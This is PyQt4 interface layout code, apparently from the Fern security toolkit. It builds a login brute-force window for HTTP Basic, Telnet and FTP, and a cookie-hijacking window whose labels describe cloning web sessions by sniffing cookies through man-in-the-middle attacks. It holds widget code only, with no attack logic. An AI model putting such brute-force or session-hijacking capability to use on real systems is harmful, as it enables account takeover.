self.verticalLayout_4.addLayout(self.horizontalLayout_6)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.line_2 = QtGui.QFrame(ray_fusion)
self.line_2.setFrameShape(QtGui.QFrame.HLine)
self.line_2.setFrameShadow(QtGui.QFrame.Sunken)
self.line_2.setObjectName(_fromUtf8("line_2"))
self.verticalLayout_2.addWidget(self.line_2)
self.statistics_username = QtGui.QLabel(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.statistics_username.setFont(font)
self.statistics_username.setObjectName(_fromUtf8("statistics_username"))
self.verticalLayout_2.addWidget(self.statistics_username)
self.statistics_password = QtGui.QLabel(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.statistics_password.setFont(font)
self.statistics_password.setObjectName(_fromUtf8("statistics_password"))
self.verticalLayout_2.addWidget(self.statistics_password)
self.statistics_percentage = QtGui.QLabel(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.statistics_percentage.setFont(font)
self.statistics_percentage.setObjectName(_fromUtf8("statistics_percentage"))
self.verticalLayout_2.addWidget(self.statistics_percentage)
self.verticalLayout_4.addLayout(self.verticalLayout_2)
self.verticalLayout_3.addLayout(self.verticalLayout_4)
self.line = QtGui.QFrame(ray_fusion)
self.line.setFrameShape(QtGui.QFrame.HLine)
self.line.setFrameShadow(QtGui.QFrame.Sunken)
self.line.setObjectName(_fromUtf8("line"))
self.verticalLayout_3.addWidget(self.line)
spacerItem15 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem15)
self.save_credentials = QtGui.QPushButton(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.save_credentials.setFont(font)
icon7 = QtGui.QIcon()
icon7.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Page-Save.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.save_credentials.setIcon(icon7)
self.save_credentials.setIconSize(QtCore.QSize(20, 20))
self.save_credentials.setObjectName(_fromUtf8("save_credentials"))
self.verticalLayout_3.addWidget(self.save_credentials)
spacerItem16 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem16)
self.clear_credentials = QtGui.QPushButton(ray_fusion)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.clear_credentials.setFont(font)
icon8 = QtGui.QIcon()
icon8.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/Shape-Square-Delete.ico" % (os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.clear_credentials.setIcon(icon8)
self.clear_credentials.setIconSize(QtCore.QSize(20, 20))
self.clear_credentials.setObjectName(_fromUtf8("clear_credentials"))
self.verticalLayout_3.addWidget(self.clear_credentials)
spacerItem17 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem17)
self.verticalLayout_5.addLayout(self.verticalLayout_3)
spacerItem18 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_5.addItem(spacerItem18)
self.verticalLayout.addLayout(self.verticalLayout_5)
spacerItem19 = QtGui.QSpacerItem(108, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.verticalLayout.addItem(spacerItem19)
self.horizontalLayout_7.addLayout(self.verticalLayout)
self.verticalLayout_8.addLayout(self.horizontalLayout_7)
self.verticalLayout_9.addLayout(self.verticalLayout_8)
self.retranslateUi(ray_fusion)
QtCore.QMetaObject.connectSlotsByName(ray_fusion)
ray_fusion.setTabOrder(self.target_edit, self.port_edit)
ray_fusion.setTabOrder(self.port_edit, self.default_wordlist_radio)
ray_fusion.setTabOrder(self.default_wordlist_radio, self.custom_wordlist_radio)
ray_fusion.setTabOrder(self.custom_wordlist_radio, self.blank_username_checkbox)
ray_fusion.setTabOrder(self.blank_username_checkbox, self.blank_password_checkbox)
ray_fusion.setTabOrder(self.blank_password_checkbox, self.time_interval_spinbox)
ray_fusion.setTabOrder(self.time_interval_spinbox, self.save_credentials)
ray_fusion.setTabOrder(self.save_credentials, self.http_https_radio)
ray_fusion.setTabOrder(self.http_https_radio, self.telnet_radio)
ray_fusion.setTabOrder(self.telnet_radio, self.ftp_radio)
ray_fusion.setTabOrder(self.ftp_radio, self.clear_credentials)
ray_fusion.setTabOrder(self.clear_credentials, self.settings_button)
ray_fusion.setTabOrder(self.settings_button, self.credential_table)
ray_fusion.setTabOrder(self.credential_table, self.help_button)
ray_fusion.setTabOrder(self.help_button, self.userlist_button)
ray_fusion.setTabOrder(self.userlist_button, self.passwordlist_button)
def retranslateUi(self, ray_fusion):
ray_fusion.setWindowTitle(QtGui.QApplication.translate("ray_fusion", "Fern - Ray Fusion", None, QtGui.QApplication.UnicodeUTF8))
self.target_edit.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Insert target address here</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.port_edit.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Insert service port number</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.port_edit.setText(QtGui.QApplication.translate("ray_fusion", "80", None, QtGui.QApplication.UnicodeUTF8))
self.help_button.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Help</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox.setTitle(QtGui.QApplication.translate("ray_fusion", "Service ", None, QtGui.QApplication.UnicodeUTF8))
self.http_https_radio.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>HTTP or HTTPS Service (Supports only Basic Authentication)</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.http_https_radio.setText(QtGui.QApplication.translate("ray_fusion", "HTTP / HTTPS (Basic)", None, QtGui.QApplication.UnicodeUTF8))
self.telnet_radio.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Telnet service</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.telnet_radio.setText(QtGui.QApplication.translate("ray_fusion", "TELNET", None, QtGui.QApplication.UnicodeUTF8))
self.ftp_radio.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>FTP Service</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.ftp_radio.setText(QtGui.QApplication.translate("ray_fusion", "FTP", None, QtGui.QApplication.UnicodeUTF8))
self.settings_button.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>click to hide or show settings</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.settings_button.setText(QtGui.QApplication.translate("ray_fusion", "Hide Settings", None, QtGui.QApplication.UnicodeUTF8))
self.settings_groupbox.setTitle(QtGui.QApplication.translate("ray_fusion", "Settings", None, QtGui.QApplication.UnicodeUTF8))
self.default_wordlist_radio.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Select to use internal wordlists</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.default_wordlist_radio.setText(QtGui.QApplication.translate("ray_fusion", "Default Wordlists", None, QtGui.QApplication.UnicodeUTF8))
self.custom_wordlist_radio.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Select to use your custom wordlists</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.custom_wordlist_radio.setText(QtGui.QApplication.translate("ray_fusion", "Custom Wordlists", None, QtGui.QApplication.UnicodeUTF8))
self.blank_username_checkbox.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Attempt blank password when bruteforcing</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.blank_username_checkbox.setText(QtGui.QApplication.translate("ray_fusion", "Attempt Blank Username", None, QtGui.QApplication.UnicodeUTF8))
self.blank_password_checkbox.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Attempt blank password when bruteforcing</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.blank_password_checkbox.setText(QtGui.QApplication.translate("ray_fusion", "Attempt Blank Password", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Time interval between each try</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("ray_fusion", "Time Interval:", None, QtGui.QApplication.UnicodeUTF8))
self.time_interval_spinbox.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Time interval between each try</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.userlist_button.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Select wordlist with usernames</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.userlist_button.setText(QtGui.QApplication.translate("ray_fusion", "Import User Wordlist", None, QtGui.QApplication.UnicodeUTF8))
self.passwordlist_button.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Select wordlist with passwords</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.passwordlist_button.setText(QtGui.QApplication.translate("ray_fusion", "Import Password Wordlist", None, QtGui.QApplication.UnicodeUTF8))
self.label_8.setText(QtGui.QApplication.translate("ray_fusion", "Successful Login Credentials", None, QtGui.QApplication.UnicodeUTF8))
self.launch_bruteforce.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Start or Stop Bruteforce Attack</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.launch_bruteforce.setText(QtGui.QApplication.translate("ray_fusion", "Start", None, QtGui.QApplication.UnicodeUTF8))
self.label_4.setText(QtGui.QApplication.translate("ray_fusion", "Statistics", None, QtGui.QApplication.UnicodeUTF8))
self.statistics_username.setText(QtGui.QApplication.translate("ray_fusion", "Username:", None, QtGui.QApplication.UnicodeUTF8))
self.statistics_password.setText(QtGui.QApplication.translate("ray_fusion", "Password:", None, QtGui.QApplication.UnicodeUTF8))
self.statistics_percentage.setText(QtGui.QApplication.translate("ray_fusion", "0% Complete", None, QtGui.QApplication.UnicodeUTF8))
self.save_credentials.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Save credentials to disk</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.save_credentials.setText(QtGui.QApplication.translate("ray_fusion", "Save Credentials", None, QtGui.QApplication.UnicodeUTF8))
self.clear_credentials.setToolTip(QtGui.QApplication.translate("ray_fusion", "<html><head/><body><p>Clear all bruteforced credentials</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.clear_credentials.setText(QtGui.QApplication.translate("ray_fusion", "Clear Credentials", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_cookie_hijacker(object):
def setupUi(self, cookie_hijacker):
cookie_hijacker.setObjectName(_fromUtf8("cookie_hijacker"))
cookie_hijacker.resize(857, 655)
self.verticalLayout_8 = QtGui.QVBoxLayout(cookie_hijacker)
self.verticalLayout_8.setObjectName(_fromUtf8("verticalLayout_8"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.label_9 = QtGui.QLabel(cookie_hijacker)
self.label_9.setText(_fromUtf8(""))
self.label_9.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/cookies-icon.png"%(os.getcwd()))))
self.label_9.setObjectName(_fromUtf8("label_9"))
self.horizontalLayout_3.addWidget(self.label_9)
self.verticalLayout_7 = QtGui.QVBoxLayout()
self.verticalLayout_7.setObjectName(_fromUtf8("verticalLayout_7"))
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.label_2 = QtGui.QLabel(cookie_hijacker)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.verticalLayout.addWidget(self.label_2)
self.label_5 = QtGui.QLabel(cookie_hijacker)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_5.setFont(font)
self.label_5.setObjectName(_fromUtf8("label_5"))
self.verticalLayout.addWidget(self.label_5)
self.verticalLayout_7.addLayout(self.verticalLayout)
spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.verticalLayout_7.addItem(spacerItem)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.horizontalLayout_14 = QtGui.QHBoxLayout()
self.horizontalLayout_14.setObjectName(_fromUtf8("horizontalLayout_14"))
spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_14.addItem(spacerItem1)
self.verticalLayout_6 = QtGui.QVBoxLayout()
self.verticalLayout_6.setObjectName(_fromUtf8("verticalLayout_6"))
self.combo_interface = QtGui.QComboBox(cookie_hijacker)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.combo_interface.sizePolicy().hasHeightForWidth())
self.combo_interface.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.combo_interface.setFont(font)
self.combo_interface.setObjectName(_fromUtf8("combo_interface"))
self.verticalLayout_6.addWidget(self.combo_interface)
spacerItem2 = QtGui.QSpacerItem(177, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.verticalLayout_6.addItem(spacerItem2)
self.horizontalLayout_14.addLayout(self.verticalLayout_6)
self.verticalLayout_5 = QtGui.QVBoxLayout()
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.refresh_button = QtGui.QPushButton(cookie_hijacker)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.refresh_button.sizePolicy().hasHeightForWidth())
self.refresh_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.refresh_button.setFont(font)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/PNG-Refresh.png-256x256.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
self.refresh_button.setIcon(icon)
self.refresh_button.setIconSize(QtCore.QSize(22, 23))
self.refresh_button.setObjectName(_fromUtf8("refresh_button"))
self.verticalLayout_5.addWidget(self.refresh_button)
spacerItem3 = QtGui.QSpacerItem(82, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_5.addItem(spacerItem3)
self.horizontalLayout_14.addLayout(self.verticalLayout_5)
spacerItem4 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_14.addItem(spacerItem4)
spacerItem5 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_14.addItem(spacerItem5)
self.horizontalLayout_2.addLayout(self.horizontalLayout_14)
self.verticalLayout_7.addLayout(self.horizontalLayout_2)
self.horizontalLayout_3.addLayout(self.verticalLayout_7)
self.verticalLayout_8.addLayout(self.horizontalLayout_3)
self.horizontalLayout_12 = QtGui.QHBoxLayout()
self.horizontalLayout_12.setObjectName(_fromUtf8("horizontalLayout_12"))
spacerItem6 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem6)
self.horizontalLayout_11 = QtGui.QHBoxLayout()
self.horizontalLayout_11.setObjectName(_fromUtf8("horizontalLayout_11"))
self.horizontalLayout_10 = QtGui.QHBoxLayout()
self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10"))
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
self.monitor_interface_led = QtGui.QLabel(cookie_hijacker)
self.monitor_interface_led.setText(_fromUtf8(""))
self.monitor_interface_led.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/red_led.png"%(os.getcwd()))))
self.monitor_interface_led.setObjectName(_fromUtf8("monitor_interface_led"))
self.horizontalLayout_4.addWidget(self.monitor_interface_led)
self.monitor_interface_label = QtGui.QLabel(cookie_hijacker)
self.monitor_interface_label.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.monitor_interface_label.setFont(font)
self.monitor_interface_label.setObjectName(_fromUtf8("monitor_interface_label"))
self.horizontalLayout_4.addWidget(self.monitor_interface_label)
self.horizontalLayout_10.addLayout(self.horizontalLayout_4)
self.horizontalLayout_11.addLayout(self.horizontalLayout_10)
self.horizontalLayout_9 = QtGui.QHBoxLayout()
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
spacerItem7 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_8.addItem(spacerItem7)
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
self.sniffing_status_led = QtGui.QLabel(cookie_hijacker)
self.sniffing_status_led.setText(_fromUtf8(""))
self.sniffing_status_led.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/red_led.png"%(os.getcwd()))))
self.sniffing_status_led.setObjectName(_fromUtf8("sniffing_status_led"))
self.horizontalLayout_6.addWidget(self.sniffing_status_led)
self.sniffing_status_label = QtGui.QLabel(cookie_hijacker)
self.sniffing_status_label.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.sniffing_status_label.setFont(font)
self.sniffing_status_label.setObjectName(_fromUtf8("sniffing_status_label"))
self.horizontalLayout_6.addWidget(self.sniffing_status_label)
self.horizontalLayout_8.addLayout(self.horizontalLayout_6)
self.horizontalLayout_9.addLayout(self.horizontalLayout_8)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
spacerItem8 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem8)
self.horizontalLayout_5 = QtGui.QHBoxLayout()
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.cookie_detection_led = QtGui.QLabel(cookie_hijacker)
self.cookie_detection_led.setText(_fromUtf8(""))
self.cookie_detection_led.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/red_led.png"%(os.getcwd()))))
self.cookie_detection_led.setObjectName(_fromUtf8("cookie_detection_led"))
self.horizontalLayout_5.addWidget(self.cookie_detection_led)
self.cookie_detection_label = QtGui.QLabel(cookie_hijacker)
self.cookie_detection_label.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.cookie_detection_label.setFont(font)
self.cookie_detection_label.setObjectName(_fromUtf8("cookie_detection_label"))
self.horizontalLayout_5.addWidget(self.cookie_detection_label)
self.horizontalLayout.addLayout(self.horizontalLayout_5)
self.horizontalLayout_9.addLayout(self.horizontalLayout)
self.horizontalLayout_11.addLayout(self.horizontalLayout_9)
self.horizontalLayout_12.addLayout(self.horizontalLayout_11)
spacerItem9 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_12.addItem(spacerItem9)
self.verticalLayout_8.addLayout(self.horizontalLayout_12)
self.mitm_activated_label = QtGui.QLabel(cookie_hijacker)
self.mitm_activated_label.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.mitm_activated_label.setFont(font)
self.mitm_activated_label.setObjectName(_fromUtf8("mitm_activated_label"))
self.verticalLayout_8.addWidget(self.mitm_activated_label)
self.horizontalLayout_17 = QtGui.QHBoxLayout()
self.horizontalLayout_17.setObjectName(_fromUtf8("horizontalLayout_17"))
spacerItem10 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_17.addItem(spacerItem10)
self.ethernet_mode_radio = QtGui.QRadioButton(cookie_hijacker)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.ethernet_mode_radio.setFont(font)
self.ethernet_mode_radio.setChecked(True)
self.ethernet_mode_radio.setObjectName(_fromUtf8("ethernet_mode_radio"))
self.horizontalLayout_17.addWidget(self.ethernet_mode_radio)
spacerItem11 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_17.addItem(spacerItem11)
self.passive_mode_radio = QtGui.QRadioButton(cookie_hijacker)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.passive_mode_radio.setFont(font)
self.passive_mode_radio.setObjectName(_fromUtf8("passive_mode_radio"))
self.horizontalLayout_17.addWidget(self.passive_mode_radio)
spacerItem12 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_17.addItem(spacerItem12)
self.verticalLayout_8.addLayout(self.horizontalLayout_17)
self.horizontalLayout_16 = QtGui.QHBoxLayout()
self.horizontalLayout_16.setObjectName(_fromUtf8("horizontalLayout_16"))
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
self.groupBox_2 = QtGui.QGroupBox(cookie_hijacker)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox_2.setFont(font)
self.groupBox_2.setTitle(_fromUtf8(""))
self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
self.verticalLayout_2 = QtGui.QVBoxLayout(self.groupBox_2)
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.horizontalLayout_7 = QtGui.QHBoxLayout()
self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7"))
self.label = QtGui.QLabel(self.groupBox_2)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_7.addWidget(self.label)
self.horizontalLayout_15 = QtGui.QHBoxLayout()
self.horizontalLayout_15.setObjectName(_fromUtf8("horizontalLayout_15"))
self.wep_key_edit = QtGui.QLineEdit(self.groupBox_2)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.wep_key_edit.setFont(font)
self.wep_key_edit.setObjectName(_fromUtf8("wep_key_edit"))
self.horizontalLayout_15.addWidget(self.wep_key_edit)
self.channel_label = QtGui.QLabel(self.groupBox_2)
self.channel_label.setObjectName(_fromUtf8("channel_label"))
self.horizontalLayout_15.addWidget(self.channel_label)
self.channel_combo = QtGui.QComboBox(self.groupBox_2)
self.channel_combo.setObjectName(_fromUtf8("channel_combo"))
self.horizontalLayout_15.addWidget(self.channel_combo)
self.horizontalLayout_7.addLayout(self.horizontalLayout_15)
self.verticalLayout_2.addLayout(self.horizontalLayout_7)
spacerItem13 = QtGui.QSpacerItem(20, 6, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_2.addItem(spacerItem13)
self.verticalLayout_4.addWidget(self.groupBox_2)
self.horizontalLayout_16.addLayout(self.verticalLayout_4)
self.verticalLayout_8.addLayout(self.horizontalLayout_16)
self.treeWidget = QtGui.QTreeWidget(cookie_hijacker)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.treeWidget.sizePolicy().hasHeightForWidth())
self.treeWidget.setSizePolicy(sizePolicy)
self.treeWidget.setObjectName(_fromUtf8("treeWidget"))
item_0 = QtGui.QTreeWidgetItem(self.treeWidget)
font = QtGui.QFont()
font.setPointSize(10)
item_0.setFont(0, font)
item_1 = QtGui.QTreeWidgetItem(item_0)
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/green_led.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item_1.setIcon(0, icon1)
item_2 = QtGui.QTreeWidgetItem(item_1)
item_1 = QtGui.QTreeWidgetItem(item_0)
item_1.setIcon(0, icon1)
item_2 = QtGui.QTreeWidgetItem(item_1)
item_0 = QtGui.QTreeWidgetItem(self.treeWidget)
font = QtGui.QFont()
font.setPointSize(10)
item_0.setFont(0, font)
item_1 = QtGui.QTreeWidgetItem(item_0)
item_1.setIcon(0, icon1)
item_2 = QtGui.QTreeWidgetItem(item_1)
self.verticalLayout_8.addWidget(self.treeWidget)
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.cookies_captured_label = QtGui.QLabel(cookie_hijacker)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.cookies_captured_label.setFont(font)
self.cookies_captured_label.setObjectName(_fromUtf8("cookies_captured_label"))
self.verticalLayout_3.addWidget(self.cookies_captured_label)
spacerItem14 = QtGui.QSpacerItem(20, 17, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.verticalLayout_3.addItem(spacerItem14)
self.horizontalLayout_13 = QtGui.QHBoxLayout()
self.horizontalLayout_13.setObjectName(_fromUtf8("horizontalLayout_13"))
spacerItem15 = QtGui.QSpacerItem(1, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_13.addItem(spacerItem15)
self.start_sniffing_button = QtGui.QPushButton(cookie_hijacker)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.start_sniffing_button.sizePolicy().hasHeightForWidth())
self.start_sniffing_button.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.start_sniffing_button.setFont(font)
self.start_sniffing_button.setObjectName(_fromUtf8("start_sniffing_button"))
self.horizontalLayout_13.addWidget(self.start_sniffing_button)
self.verticalLayout_3.addLayout(self.horizontalLayout_13)
spacerItem16 = QtGui.QSpacerItem(20, 17, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum)
self.verticalLayout_3.addItem(spacerItem16)
self.verticalLayout_8.addLayout(self.verticalLayout_3)
self.retranslateUi(cookie_hijacker)
QtCore.QMetaObject.connectSlotsByName(cookie_hijacker)
def retranslateUi(self, cookie_hijacker):
cookie_hijacker.setWindowTitle(QtGui.QApplication.translate("cookie_hijacker", "Fern - Cookie Hijacker", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("cookie_hijacker", "Fern Cookie Hijacker is an Ethernet and WIFI based session Hijacking tool able to clone remote online web sessions by sniffing and capturing session cookie", None, QtGui.QApplication.UnicodeUTF8))
self.label_5.setText(QtGui.QApplication.translate("cookie_hijacker", "packets from remote hosts by leveraging various internal MITM attacks with routing capabilities", None, QtGui.QApplication.UnicodeUTF8))
self.refresh_button.setText(QtGui.QApplication.translate("cookie_hijacker", "Refresh", None, QtGui.QApplication.UnicodeUTF8))
self.monitor_interface_label.setText(QtGui.QApplication.translate("cookie_hijacker", "Ethernet Mode", None, QtGui.QApplication.UnicodeUTF8))
self.sniffing_status_label.setText(QtGui.QApplication.translate("cookie_hijacker", "Sniffing Status", None, QtGui.QApplication.UnicodeUTF8))
self.cookie_detection_label.setText(QtGui.QApplication.translate("cookie_hijacker", "Cookie Detection Buffer", None, QtGui.QApplication.UnicodeUTF8))
self.mitm_activated_label.setText(QtGui.QApplication.translate("cookie_hijacker", "Internal MITM Engine Activated", None, QtGui.QApplication.UnicodeUTF8))
self.ethernet_mode_radio.setToolTip(QtGui.QApplication.translate("cookie_hijacker", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'MS Shell Dlg 2\'; font-size:7pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Use this option if you are currently connected to the ethernet gateway/access point</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
